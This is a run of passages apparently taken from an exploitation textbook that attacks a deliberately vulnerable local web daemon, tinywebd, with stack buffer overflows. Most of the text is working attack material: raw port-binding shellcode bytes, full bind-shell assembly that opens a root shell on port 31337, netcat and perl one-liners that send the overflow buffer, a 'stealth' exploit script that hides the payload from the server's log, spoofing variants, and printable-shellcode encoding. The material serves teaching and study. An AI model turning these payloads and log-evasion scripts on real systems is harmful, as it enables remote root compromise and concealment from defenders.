00000050		69	6e	89	e3	52	89	e2	53		89	e1	cd	80														|in..R..S....|
0000005c
reader@hacking:~/booksrc	$	od	-tx1	portbinding_shellcode	|	cut	-c8-80	|	sed	-e	's/	/\\x/g'
\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10
\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80
\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f
\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80

reader@hacking:~/booksrc	$	

After	some	quick	formatting,	these	bytes	are	swapped	into	the	shellcode	bytes	of
the	tinyweb_exploit.c	program,	resulting	in	tinyweb_exploit2.c.	The	new	shellcode
line	is	shown	below.
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reader@hacking:~/booksrc	$	nc	-vv	127.0.0.1	31337
localhost	[127.0.0.1]	31337	(?)	open
whoami
root
ls	-l	/etc/passwd	
-rw-r--r--	1	root	root	1545	Sep		9	16:24	/etc/passwd

Even	though	the	remote	shell	doesn't	display	a	prompt,	it	still	accepts	commands
and	returns	the	output	over	the	network.
A	program	like	netcat	can	be	used	for	many	other	things.	It's	designed	to	work
like	a	console	program,	allowing	standard	input	and	output	to	be	piped	and
redirected.	Using	netcat	and	the	port-binding	shellcode	in	a	file,	the	same	exploit
can	be	carried	out	on	the	command	line.

reader@hacking:~/booksrc	$	wc	-c	portbinding_shellcode
92	portbinding_shellcode
reader@hacking:~/booksrc	$	echo	$((540+4	-	300	-	92))
152
reader@hacking:~/booksrc	$	echo	$((152	/	4))
38
reader@hacking:~/booksrc	$	(perl	-e	'print	"\x90"x300';
>	cat	portbinding_shellcode	
>	perl	-e	'print	"\x88\xf6\xff\xbf"x38	.	\r\n"')

"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣	jfX␣1␣CRj	j	␣␣	␣␣jfXC
RfhzifS␣␣j	QV␣␣	␣fCCSV␣␣	␣fCRRV␣␣	␣j	Y␣?	Iy␣␣
																																												Rh//shh/bin␣␣R␣␣S␣␣	␣␣␣␣␣␣␣␣
"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
"␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣
reader@hacking:~/booksrc	$	(perl	-e	'print	"\x90"x300';	cat	portbinding_shellcode;	
perl	-e	'print	"\x88\xf6\xff\xbf"x38	.	"\r\n"')	|	nc	-v	-w1	127.0.0.1	80
localhost	[127.0.0.1]	80	(www)	open
reader@hacking:~/booksrc	$	nc	-v	127.0.0.1	31337
localhost	[127.0.0.1]	31337	(?)	open
whoami	
root

In	the	output	above,	first	the	length	of	the	port-binding	shellcode	is	shown	to	be
92	bytes.	The	return	address	is	found	540	bytes	from	the	start	of	the	buffer,	so
with	a	300-byte	NOP	sled	and	92	bytes	of	shellcode,	there	are	152	bytes	to	the
return	address	overwrite.	This	means	that	if	the	target	return	address	is	repeated
38	times	at	the	end	of	the	buffer,	the	last	one	should	do	the	overwrite.	Finally,	the
buffer	is	terminated	with	'\r\n'.	The	commands	that	build	the	buffer	are
grouped	with	parentheses	to	pipe	the	buffer	into	netcat.	netcat	connects	to	the
tinyweb	program	and	sends	the	buffer.	After	the	shellcode	runs,	netcat	needs	to
be	broken	out	of	by	pressing	CTRL-C,	since	the	original	socket	connection	is	still
open.	Then,	netcat	is	used	again	to	connect	to	the	shell	bound	on	port	31337.
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The	Path	to	Shellcode
Shellcode	is	literally	injected	into	a	running	program,	where	it	takes	over	like	a
biological	virus	inside	a	cell.	Since	shellcode	isn't	really	an	executable	program,
we	don't	have	the	luxury	of	declaring	the	layout	of	data	in	memory	or	even	using
other	memory	segments.	Our	instructions	must	be	self-contained	and	ready	to
take	over	control	of	the	processor	regardless	of	its	current	state.	This	is	commonly
referred	to	as	position-independent	code.
In	shellcode,	the	bytes	for	the	string	"Hello,	world!"	must	be	mixed	together
with	the	bytes	for	the	assembly	instructions,	since	there	aren't	definable	or
predictable	memory	segments.	This	is	fine	as	long	as	EIP	doesn't	try	to	interpret
the	string	as	instructions.	However,	to	access	the	string	as	data	we	need	a	pointer
to	it.	When	the	shellcode	gets	executed,	it	could	be	anywhere	in	memory.	The
string's	absolute	memory	address	needs	to	be	calculated	relative	to	EIP.	Since
EIP	cannot	be	accessed	from	assembly	instructions,	however,	we	need	to	use
some	sort	of	trick.

Assembly	Instructions	Using	the	Stack

The	stack	is	so	integral	to	the	x86	architecture	that	there	are	special	instructions
for	its	operations.

Inst ruct ion Descript ion

push	<source> Push	the	source	operand	to	the	stack.

pop
<destination> Pop	a	value	from	the	stack	and	store	in	the	destination	operand.

call
<location>

Call	a	function,	jumping	the	execution	to	the	address	in	the	location	operand.	This	location
can	be	relative	or	absolute.	The	address	of	the	instruvtion	following	the	call	is	pushed	to	the
stack,	so	that	execution	can	return	later.

ret Return	from	a	function,	popping	the	return	address	from	the	stack	and	jumping	execution
there.

Stack-based	exploits	are	made	possible	by	the	call	and	ret	instructions.	When	a
function	is	called,	the	return	address	of	the	next	instruction	is	pushed	to	the	stack,
beginning	the	stack	frame.	After	the	function	is	finished,	the	retinstruction	pops
the	return	address	from	the	stack	and	jumps	EIP	back	there.	By	overwriting	the
stored	return	address	on	the	stack	before	the	ret	instruction,	we	can	take	control
of	a	program's	execution.
This	architecture	can	be	misused	in	another	way	to	solve	the	problem	of
addressing	the	inline	string	data.	If	the	string	is	placed	directly	after	a	call
instruction,	the	address	of	the	string	will	get	pushed	to	the	stack	as	the	return
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Standard	input,	standard	output,	and	standard	error	are	the	three	standard	file
descriptors	used	by	programs	to	perform	standard	I/O.	Sockets,	too,	are	just	file
descriptors	that	can	be	read	from	and	written	to.	By	simply	swapping	the
standard	input,	output,	and	error	of	the	spawned	shell	with	the	connected	socket
file	descriptor,	the	shell	will	write	output	and	errors	to	the	socket	and	read	its
input	from	the	bytes	that	the	socket	received.	There	is	a	system	call	specifically
for	duplicating	file	descriptors,	called	dup2.	This	is	system	call	number	63.

reader@hacking:~/booksrc	$	grep	dup2	/usr/include/asm-i386/unistd.h
#define	__NR_dup2																63
reader@hacking:~/booksrc	$	man	2	dup2
DUP(2)																					Linux	Programmer's	Manual																					DUP(2)

NAME
							dup,	dup2	-	duplicate	a	file	descriptor

SYNOPSIS
							#include	<unistd.h>
							int	dup(int	oldfd);
							int	dup2(int	oldfd,	int	newfd);

DESCRIPTION
							dup()	and	dup2()	create	a	copy	of	the	file	descriptor	oldfd.

							dup2()	makes	newfd	be	the	copy	of	oldfd,	closing	newfd	first	if	necessary.

The	bind_port.s	shellcode	left	off	with	the	connected	socket	file	descriptor	in	EAX.
The	following	instructions	are	added	in	the	file	bind_shell_beta.s	to	duplicate	this
socket	into	the	standard	I/O	file	descriptors;	then,	the	tiny_shell	instructions	are
called	to	execute	a	shell	in	the	current	process.	The	spawned	shell's	standard
input	and	output	file	descriptors	will	be	the	TCP	connection,	allowing	remote	shell
access.

New	Instructions	from	bind_shell1.s

;	dup2(connected	socket,	{all	three	standard	I/O	file	descriptors})
		mov	ebx,	eax						;	Move	socket	FD	in	ebx.
		push	BYTE	0x3F				;	dup2		syscall	#63
		pop	eax
		xor	ecx,	ecx						;	ecx	=	0	=	standard	input
		int	0x80										;	dup(c,	0)
		mov	BYTE	al,	0x3F	;	dup2		syscall	#63
		inc	ecx											;	ecx	=	1	=	standard	output
		int	0x80										;	dup(c,	1)
		mov	BYTE	al,	0x3F	;	dup2		syscall	#63
		inc	ecx											;	ecx	=	2	=	standard	error
		int	0x80										;	dup(c,	2)

;	execve(const	char	*filename,	char	*const	argv	[],	char	*const	envp[])
		mov	BYTE	al,	11			;	execve		syscall	#11
		push	edx										;	push	some	nulls	for	string	termination.
		push	0x68732f2f			;	push	"//sh"	to	the	stack.
		push	0x6e69622f			;	push	"/bin"	to	the	stack.
		mov	ebx,	esp						;	Put	the	address	of	"/bin//sh"	into	ebx	via	esp.
		push	ecx										;	push	32-bit	null	terminator	to	stack.
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		int	0x80										;	After	syscall,	eax	has	socket	file	descriptor.

		xchg	esi,	eax					;	Save	socket	FD	in	esi	for	later.

;	bind(s,	[2,	31337,	0],	16)
		push	BYTE	0x66				;	socketcall	(syscall	#102)
		pop	eax
		inc	ebx											;	ebx	=	2	=	SYS_BIND	=	bind()
		push	edx										;	Build	sockaddr	struct:		INADDR_ANY	=	0
		push	WORD	0x697a		;			(in	reverse	order)				PORT	=	31337
		push	WORD	bx						;																									AF_INET	=	2
		mov	ecx,	esp						;	ecx	=	server	struct	pointer
		push	BYTE	16						;	argv:	{	sizeof(server	struct)	=	16,
		push	ecx										;									server	struct	pointer,
		push	esi										;									socket	file	descriptor	}
		mov	ecx,	esp						;	ecx	=	argument	array
		int	0x80										;	eax	=	0	on	success

;	listen(s,	0)
		mov	BYTE	al,	0x66	;	socketcall	(syscall	#102)
		inc	ebx
		inc	ebx											;	ebx	=	4	=	SYS_LISTEN	=	listen()
		push	ebx										;	argv:	{	backlog	=	4,
		push	esi										;									socket	fd	}
		mov	ecx,	esp						;	ecx	=	argument	array
		int	0x80

;	c	=	accept(s,	0,	0)
		mov	BYTE	al,	0x66	;	socketcall	(syscall	#102)
		inc	ebx											;	ebx	=	5	=	SYS_ACCEPT	=	accept()
		push	edx										;	argv:	{	socklen	=	0,
		push	edx										;									sockaddr	ptr	=	NULL,
		push	esi										;									socket	fd	}
		mov	ecx,	esp						;	ecx	=	argument	array
		int	0x80										;	eax	=	connected	socket	FD

;	dup2(connected	socket,	{all	three	standard	I/O	file	descriptors})
		xchg	eax,	ebx					;	Put	socket	FD	in	ebx	and	0x00000005	in	eax.
		push	BYTE	0x2					;	ecx	starts	at	2.
		pop	ecx
dup_loop:
		mov	BYTE	al,	0x3F	;	dup2		syscall	#63
		int	0x80										;	dup2(c,	0)
		dec	ecx											;	count	down	to	0
		jns	dup_loop						;	If	the	sign	flag	is	not	set,	ecx	is	not	negative.

;	execve(const	char	*filename,	char	*const	argv	[],	char	*const	envp[])
		mov	BYTE	al,	11			;	execve		syscall	#11
		push	edx										;	push	some	nulls	for	string	termination.
		push	0x68732f2f			;	push	"//sh"	to	the	stack.
		push	0x6e69622f			;	push	"/bin"	to	the	stack.
		mov	ebx,	esp						;	Put	the	address	of	"/bin//sh"	into	ebx	via	esp.
		push	edx										;	push	32-bit	null	terminator	to	stack.
		mov	edx,	esp						;	This	is	an	empty	array	for	envp.
		push	ebx										;	push	string	addr	to	stack	above	null	terminator.
		mov	ecx,	esp						;	This	is	the	argv	array	with	string	ptr
		int	0x80										;	execve("/bin//sh",	["/bin//sh",	NULL],	[NULL])

This	assembles	to	the	same	92-byte	bind_shell	shellcode	used	in	the	previous
chapter.
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System	Daemons
To	have	a	realistic	discussion	of	exploit	countermeasures	and	bypass	methods,	we
first	need	a	realistic	exploitation	target.	A	remote	target	will	be	a	server	program
that	accepts	incoming	connections.	In	Unix,	these	programs	are	usually	system
daemons.	A	daemon	is	a	program	that	runs	in	the	background	and	detaches	from
the	controlling	terminal	in	a	certain	way.	The	term	daemon	was	first	coined	by	MIT
hackers	in	the	1960s.	It	refers	to	a	molecule-sorting	demon	from	an	1867	thought
experiment	by	a	physicist	named	James	Maxwell.	In	the	thought	experiment,
Maxwell's	demon	is	a	being	with	the	supernatural	ability	to	effortlessly	perform
difficult	tasks,	apparently	violating	the	second	law	of	thermodynamics.	Similarly,
in	Linux,	system	daemons	tirelessly	perform	tasks	such	as	providing	SSH	service
and	keeping	system	logs.	Daemon	programs	typically	end	with	a	d	to	signify	they
are	daemons,	such	as	sshd	or	syslogd.
With	a	few	additions,	the	tinyweb.c	code	on	A	Tinyweb	Server	can	be	made	into	a
more	realistic	system	daemon.	This	new	code	uses	a	call	to	the	daemon()	function,
which	will	spawn	a	new	background	process.	This	function	is	used	by	many	system
daemon	processes	in	Linux,	and	its	man	page	is	shown	below.

DAEMON(3)																		Linux	Programmer's	Manual																	DAEMON(3)

NAME

							daemon	-	run	in	the	background

SYNOPSIS
							#include	<unistd.h>

							int	daemon(int	nochdir,	int	noclose);

DESCRIPTION
							The	daemon()	function	is	for	programs	wishing	to	detach	themselves	from
							the	controlling	terminal	and	run	in	the	background	as	system	daemons.

							Unless	the	argument	nochdir	is	non-zero,	daemon()	changes	the	current
							working	directory	to	the	root	("/").

							Unless	the	argument	noclose	is	non-zero,	daemon()	will	redirect	stan
							dard	input,	standard	output	and	standard	error	to	/dev/null.

RETURN	VALUE
							(This	function	forks,	and	if	the			fork()		succeeds,		the		parent		does
							_exit(0),		so	that	further	errors	are	seen	by	the	child	only.)		On	suc
							cess	zero	will	be	returned.		If	an	error	occurs,		daemon()		returns		-1
							and		sets		the	global	variable	errno	to	any	of	the	errors	specified	for
							the	library	functions	fork(2)	and	setsid(2).

System	daemons	run	detached	from	a	controlling	terminal,	so	the	new	tinyweb
daemon	code	writes	to	a	log	file.	Without	a	controlling	terminal,	system	daemons
are	typically	controlled	with	signals.	The	new	tinyweb	daemon	program	will	need
to	catch	the	terminate	signal	so	it	can	exit	cleanly	when	killed.
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Tools	of	the	Trade
With	a	realistic	target	in	place,	let's	jump	back	over	to	the	attacker's	side	of	the
fence.	For	this	kind	of	attack,	exploit	scripts	are	an	essential	tool	of	the	trade.	Like
a	set	of	lock	picks	in	the	hands	of	a	professional,	exploits	open	many	doors	for	a
hacker.	Through	careful	manipulation	of	the	internal	mechanisms,	the	security
can	be	entirely	sidestepped.
In	previous	chapters,	we've	written	exploit	code	in	C	and	manually	exploited
vulnerabilities	from	the	command	line.	The	fine	line	between	an	exploit	program
and	an	exploit	tool	is	a	matter	of	finalization	and	reconfigurability.	Exploit
programs	are	more	like	guns	than	tools.	Like	a	gun,	an	exploit	program	has	a
singular	utility	and	the	user	interface	is	as	simple	as	pulling	a	trigger.	Both	guns
and	exploit	programs	are	finalized	products	that	can	be	used	by	unskilled	people
with	dangerous	results.	In	contrast,	exploit	tools	usually	aren't	finished	products,
nor	are	they	meant	for	others	to	use.	With	an	understanding	of	programming,	it's
only	natural	that	a	hacker	would	begin	to	write	his	own	scripts	and	tools	to	aid
exploitation.	These	personalized	tools	automate	tedious	tasks	and	facilitate
experimentation.	Like	conventional	tools,	they	can	be	used	for	many	purposes,
extending	the	skill	of	the	user.

tinywebd	Exploit	Tool

For	the	tinyweb	daemon,	we	want	an	exploit	tool	that	allows	us	to	experiment
with	the	vulnerabilities.	As	in	the	development	of	our	previous	exploits,	GDB	is
used	first	to	figure	out	the	details	of	the	vulnerability,	such	as	offsets.	The	offset	to
the	return	address	will	be	the	same	as	in	the	original	tinyweb.c	program,	but	a
daemon	program	presents	added	challenges.	The	daemon	call	forks	the	process,
running	the	rest	of	the	program	in	the	child	process,	while	the	parent	process
exits.	In	the	output	below,	a	breakpoint	is	set	after	the	daemon()	call,	but	the
debugger	never	hits	it.

reader@hacking:~/booksrc	$	gcc	-g	tinywebd.c
reader@hacking:~/booksrc	$	sudo	gdb	-q	./a.out

warning:	not	using	untrusted	file	"/home/reader/.gdbinit"
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	list	47
42
43									if	(setsockopt(sockfd,	SOL_SOCKET,	SO_REUSEADDR,	&yes,	sizeof(int))	==	-1)
44												fatal("setting	socket	option	SO_REUSEADDR");
45
46									printf("Starting	tiny	web	daemon.\n");
47									if(daemon(1,	1)	==	-1)	//	Fork	to	a	background	daemon	process.
48												fatal("forking	to	daemon	process");
49
50									signal(SIGTERM,	handle_shutdown);			//	Call	handle_shutdown	when	killed.
51									signal(SIGINT,	handle_shutdown);			//	Call	handle_shutdown	when	interrupted.
(gdb)	break	50
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(gdb)	list	68
63									if	(listen(sockfd,	20)	==	-1)
64												fatal("listening	on	socket");
65
66									while(1)	{			//	Accept	loop
67												sin_size	=	sizeof(struct	sockaddr_in);
68												new_sockfd	=	accept(sockfd,	(struct	sockaddr	*)&client_addr,	&sin_size);
69												if(new_sockfd	==	-1)
70															fatal("accepting	connection");
71
72												handle_connection(new_sockfd,	&client_addr,	logfd);
(gdb)	list	handle_connection
77						/*	This	function	handles	the	connection	on	the	passed	socket	from	the
78							*	passed	client	address	and	logs	to	the	passed	FD.	The	connection	is
79							*	processed	as	a	web	request,	and	this	function	replies	over	the	connected
80							*	socket.	Finally,	the	passed	socket	is	closed	at	the	end	of	the	function.
81							*/
82						void	handle_connection(int	sockfd,	struct	sockaddr_in	*client_addr_ptr,	int	logfd)
	{
83									unsigned	char	*ptr,	request[500],	resource[500],	log_buffer[500];
84									int	fd,	length;
85
86									length	=	recv_line(sockfd,	request);
(gdb)	break	86
Breakpoint	1	at	0x8048fc3:	file	tinywebd.c,	line	86.
(gdb)	cont
Continuing.

The	execution	pauses	while	the	tinyweb	daemon	waits	for	a	connection.	Once
again,	a	connection	is	made	to	the	webserver	using	a	browser	to	advance	the
code	execution	to	the	breakpoint.

Breakpoint	1,	handle_connection	(sockfd=5,	client_addr_ptr=0xbffff810)	at	tinywebd.c:86
86									length	=	recv_line(sockfd,	request);
(gdb)	bt
#0		handle_connection	(sockfd=5,	client_addr_ptr=0xbffff810,	logfd=3)	at	tinywebd.c:86
#1		0x08048fb7	in	main	()	at	tinywebd.c:72
(gdb)	x/x	request
0xbffff5c0:					0x080484ec
(gdb)	x/16x	request	+	500
0xbffff7b4:					0xb7fd5ff4						0xb8000ce0						0x00000000						0xbffff848
0xbffff7c4:					0xb7ff9300						0xb7fd5ff4						0xbffff7e0						0xb7f691c0
0xbffff7d4:					0xb7fd5ff4						0xbffff848						0x08048fb7						0x00000005
0xbffff7e4:					0xbffff810						0x00000003						0xbffff838						0x00000004
(gdb)	x/x	0xbffff7d4	+	8
0xbffff7dc:					0x08048fb7
(gdb)	p	/x	0xbffff7dc	-	0xbffff5c0
$1	=	0x21c
(gdb)	p	0xbffff7dc	-	0xbffff5c0
$2	=	540
(gdb)	p	/x	0xbffff5c0	+	100
$3	=	0xbffff624
(gdb)	quit
The	program	is	running.	Quit	anyway	(and	detach	it)?	(y	or	n)	y
Detaching	from	program:	,	process	25830
reader@hacking:~/booksrc	$

The	debugger	shows	that	the	request	buffer	starts	at	0xbffff5c0	and	the	stored
return	address	is	at	0xbffff7dc,	which	means	the	offset	is	540	bytes.	The	safest
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files,	since	there	are	so	many	valid	requests	to	hide	among:	It's	easier	to	blend	in
at	a	crowded	mall	than	an	empty	street.	But	how	exactly	do	you	hide	a	big,	ugly
exploit	buffer	in	the	proverbial	sheep's	clothing?
There's	a	simple	mistake	in	the	tinyweb	daemon's	source	code	that	allows	the
request	buffer	to	be	truncated	early	when	it's	used	for	the	log	file	output,	but	not
when	copying	into	memory.	The	recv_line()	function	uses	\r\n	as	the	delimiter;
however,	all	the	other	standard	string	functions	use	a	null	byte	for	the	delimiter.
These	string	functions	are	used	to	write	to	the	log	file,	so	by	strategically	using
both	delimiters,	the	data	written	to	the	log	can	be	partially	controlled.
The	following	exploit	script	puts	a	valid-looking	request	in	front	of	the	rest	of	the
exploit	buffer.	The	NOP	sled	is	shrunk	to	accommodate	the	new	data.

xtool_tinywebd_stealth.sh

#!/bin/sh
#	stealth	exploitation	tool
if	[	-z	"$2"	];	then	#	If	argument	2	is	blank
			echo	"Usage:	$0	<shellcode	file>	<target	IP>"
			exit
fi
FAKEREQUEST="GET	/	HTTP/1.1\x00"
FR_SIZE=$(perl	-e	"print	\"$FAKEREQUEST\""	|	wc	-c	|	cut	-f1	-d	'	')
OFFSET=540
RETADDR="\x24\xf6\xff\xbf"	#	At	+100	bytes	from	buffer	@	0xbffff5c0
echo	"target	IP:	$2"
SIZE=`wc	-c	$1	|	cut	-f1	-d	'	'`
echo	"shellcode:	$1	($SIZE	bytes)"
echo	"fake	request:	\"$FAKEREQUEST\"	($FR_SIZE	bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4	-	(32*4)	-	$SIZE	-	$FR_SIZE))

echo	"[Fake	Request	($FR_SIZE	b)]	[NOP	($ALIGNED_SLED_SIZE	b)]	[shellcode
($SIZE	b)]	[ret	addr	($((4*32))	b)]"
(perl	-e	"print	\"$FAKEREQUEST\"	.	\"\x90\"x$ALIGNED_SLED_SIZE";
	cat	$1;
	perl	-e	"print	\"$RETADDR\"x32	.	\"\r\n\"")	|	nc	-w	1	-v	$2	80

This	new	exploit	buffer	uses	the	null	byte	delimiter	to	terminate	the	fake	request
camouflage.	A	null	byte	won't	stop	the	recv_line()	function,	so	the	rest	of	the
exploit	buffer	is	copied	to	the	stack.	Since	the	string	functions	used	to	write	to	the
log	use	a	null	byte	for	termination,	the	fake	request	is	logged	and	the	rest	of	the
exploit	is	hidden.	The	following	output	shows	this	exploit	script	in	use.

reader@hacking:~/booksrc	$	./tinywebd
Starting	tiny	web	daemon.
reader@hacking:~/booksrc	$	nc	-l	-p	31337	&
[1]	7714
reader@hacking:~/booksrc	$	jobs
[1]+	Running																		nc	-l	-p	31337	&
reader@hacking:~/booksrc	$	./xtool_tinywebd_steath.sh	loopback_shell	127.0.0.1
target	IP:	127.0.0.1
shellcode:	loopback_shell	(83	bytes)
fake	request:	"GET	/	HTTP/1.1\x00"	(15	bytes)
[Fake	Request	(15	b)]	[NOP	(318	b)]	[shellcode	(83	b)]	[ret	addr	(128	b)]
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O_WRONLY|O_CREAT|O_APPEND	turns	out	to	be	0x441	and	S_IRUSR|S_IWUSR	is
0x180.	The	following	shellcode	uses	these	values	to	create	a	file	called	Hacked	in
the	root	filesystem.

mark.s

BITS	32	
;	Mark	the	filesystem	to	prove	you	ran.
			jmp	short	one
			two:
			pop	ebx														;	Filename
			xor	ecx,	ecx
			mov	BYTE	[ebx+7],	cl	;	Null	terminate	filename
			push	BYTE	0x5								;	Open()
			pop	eax
			mov	WORD	cx,	0x441			;	O_WRONLY|O_APPEND|O_CREAT
			xor	edx,	edx
			mov	WORD	dx,	0x180			;	S_IRUSR|S_IWUSR
			int	0x80													;	Open	file	to	create	it.
						;	eax	=	returned	file	descriptor
			mov	ebx,	eax									;	File	descriptor	to	second	arg
			push	BYTE	0x6								;	Close	()
			pop	eax
			int	0x80	;	Close	file.

			xor	eax,	eax
			mov	ebx,	eax
			inc	eax				;	Exit	call.
			int	0x80			;	Exit(0),	to	avoid	an	infinite	loop.
one:
			call	two
db	"/HackedX"
;			01234567

The	shellcode	opens	a	file	to	create	it	and	then	immediately	closes	the	file.	Finally,
it	calls	exit	to	avoid	an	infinite	loop.	The	output	below	shows	this	new	shellcode
being	used	with	the	exploit	tool.

reader@hacking:~/booksrc	$	./tinywebd
Starting	tiny	web	daemon.
reader@hacking:~/booksrc	$	nasm	mark.s
reader@hacking:~/booksrc	$	hexdump	-C	mark
00000000		eb	23	5b	31	c9	88	4b	07		6a	05	58	66	b9	41	04	31		|.#[1.K.j.Xf.A.1|
00000010		d2	66	ba	80	01	cd	80	89		c3	6a	06	58	cd	80	31	c0		|.f....j.X.1.|
00000020		89	c3	40	cd	80	e8	d8	ff		ff	ff	2f	48	61	63	6b	65		|.@..../Hacke|
00000030		64	58																																													|dX|
00000032
reader@hacking:~/booksrc	$	ls	-l	/Hacked
ls:	/Hacked:	No	such	file	or	directory
reader@hacking:~/booksrc	$	./xtool_tinywebd_steath.sh	mark	127.0.0.1
target	IP:	127.0.0.1
shellcode:	mark	(44	bytes)
fake	request:	"GET	/	HTTP/1.1\x00"	(15	bytes)
[Fake	Request	(15	b)]	[NOP	(357	b)]	[shellcode	(44	b)]	[ret	addr	(128	b)]
localhost	[127.0.0.1]	80	(www)	open
reader@hacking:~/booksrc	$	ls	-l	/Hacked
-rw-------	1	root	reader	0	2007-09-17	16:59	/Hacked
reader@hacking:~/booksrc	$
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perl	-e	"print	\"$RETADDR\"x32	.	\"$FAKEADDR\"x2	.	\"\r\n\"")	|	nc	-w	1	-v	$2	80

The	best	way	to	explain	exactly	what	this	exploit	script	does	is	to	watch	tinywebd
from	within	GDB.	In	the	output	below,	GDB	is	used	to	attach	to	the	running
tinywebd	process,	breakpoints	are	set	before	the	overflow,	and	the	IP	portion	of
the	log	buffer	is	generated.

reader@hacking:~/booksrc	$	ps	aux	|	grep	tinywebd
root					27264		0.0		0.0			1636			420	?								Ss			20:47			0:00	./tinywebd
reader			30648		0.0		0.0			2880			748	pts/2				R+			22:29			0:00	grep	tinywebd
reader@hacking:~/booksrc	$	gcc	-g	tinywebd.c
reader@hacking:~/booksrc	$	sudo	gdb	-q—pid=27264	--symbols=./a.out

warning:	not	using	untrusted	file	"/home/reader/.gdbinit"
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
Attaching	to	process	27264
/cow/home/reader/booksrc/tinywebd:	No	such	file	or	directory.
A	program	is	being	debugged	already.	Kill	it?	(y	or	n)	n
Program	not	killed.
(gdb)	list	handle_connection
77						/*	This	function	handles	the	connection	on	the	passed	socket	from	the
78							*	passed	client	address	and	logs	to	the	passed	FD.	The	connection	is
79							*	processed	as	a	web	request,	and	this	function	replies	over	the	connected
80							*	socket.	Finally,	the	passed	socket	is	closed	at	the	end	of	the	function.
81							*/
82						void	handle_connection(int	sockfd,	struct	sockaddr_in	*client_addr_ptr,	int	logfd)
	{
83									unsigned	char	*ptr,	request[500],	resource[500],	log_buffer[500];
84									int	fd,	length;
85
86									length	=	recv_line(sockfd,	request);
(gdb)
87
88									sprintf(log_buffer,	"From	%s:%d	\"%s\"\t",	inet_ntoa(client_addr_ptr-
>sin_addr),
ntohs(client_addr_ptr->sin_port),	request);
89
90									ptr	=	strstr(request,	"	HTTP/");	//	Search	for	valid	looking	request.
91									if(ptr	==	NULL)	{	//	Then	this	isn't	valid	HTTP
92												strcat(log_buffer,	"	NOT	HTTP!\n");
93									}	else	{
94												*ptr	=	0;	//	Terminate	the	buffer	at	the	end	of	the	URL.
95												ptr	=	NULL;	//	Set	ptr	to	NULL	(used	to	flag	for	an	invalid	request).
96												if(strncmp(request,	"GET	",	4)	==	0)		//	Get	request
(gdb)	break	86
Breakpoint	1	at	0x8048fc3:	file	tinywebd.c,	line	86.
(gdb)	break	89
Breakpoint	2	at	0x8049028:	file	tinywebd.c,	line	89.
(gdb)	cont
Continuing.

Then,	from	another	terminal,	the	new	spoofing	exploit	is	used	to	advance
execution	in	the	debugger.

reader@hacking:~/booksrc	$	./xtool_tinywebd_spoof.sh	mark_restore	127.0.0.1
target	IP:	127.0.0.1
shellcode:	mark_restore	(53	bytes)
fake	request:	"GET	/	HTTP/1.1\x00"	(15	bytes)
[Fake	Request	15]	[spoof	IP	16]	[NOP	332]	[shellcode	53]	[ret	addr	128]
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When	this	program	is	run,	it	expects	two	arguments—the	start	and	the	end	values
for	EAX.	For	the	printable	loader	shellcode,	EAX	is	zeroed	out	to	start	with,	and
the	end	value	should	be	0x80cde189.	This	value	corresponds	to	the	last	four	bytes
from	shellcode.bin.

reader@hacking:~/booksrc	$	gcc	-o	printable_helper	printable_helper.c
reader@hacking:~/booksrc	$	./printable_helper	0	0x80cde189
calculating	printable	values	to	subtract	from	EAX..

start:	0x00000000

					-	0x346d6d25
					-	0x256d6d25
					-	0x2557442d
-------------------
end:			0x80cde189
reader@hacking:~/booksrc	$	hexdump	-C	./shellcode.bin	
00000000		31	c0	31	db	31	c9	99	b0		a4	cd	80	6a	0b	58	51	68		|1.1.1......j.XQh|
00000010		2f	2f	73	68	68	2f	62	69		6e	89	e3	51	89	e2	53	89		|//shh/bin..Q..S.|
00000020		e1	cd	80																																										|...|
00000023
reader@hacking:~/booksrc	$	./printable_helper	0x80cde189	0x53e28951
calculating	printable	values	to	subtract	from	EAX..

start:	0x80cde189

					-	0x59316659
					-	0x59667766
					-	0x7a537a79
-------------------
end:			0x53e28951	
reader@hacking:~/booksrc	$

The	output	above	shows	the	printable	values	needed	to	wrap	the	zeroed	EAX
register	around	to	0x80cde189	(shown	in	bold).	Next,	EAX	should	be	wrapped
around	again	to	0x53e28951	for	the	next	four	bytes	of	the	shellcode	(building
backwards).	This	process	is	repeated	until	all	the	shellcode	is	built.	The	code	for
the	entire	process	is	shown	below.

printable.s

BITS	32
push	esp																;	Put	current	ESP
pop	eax																	;			into	EAX.
sub	eax,0x39393333						;	Subtract	printable	values
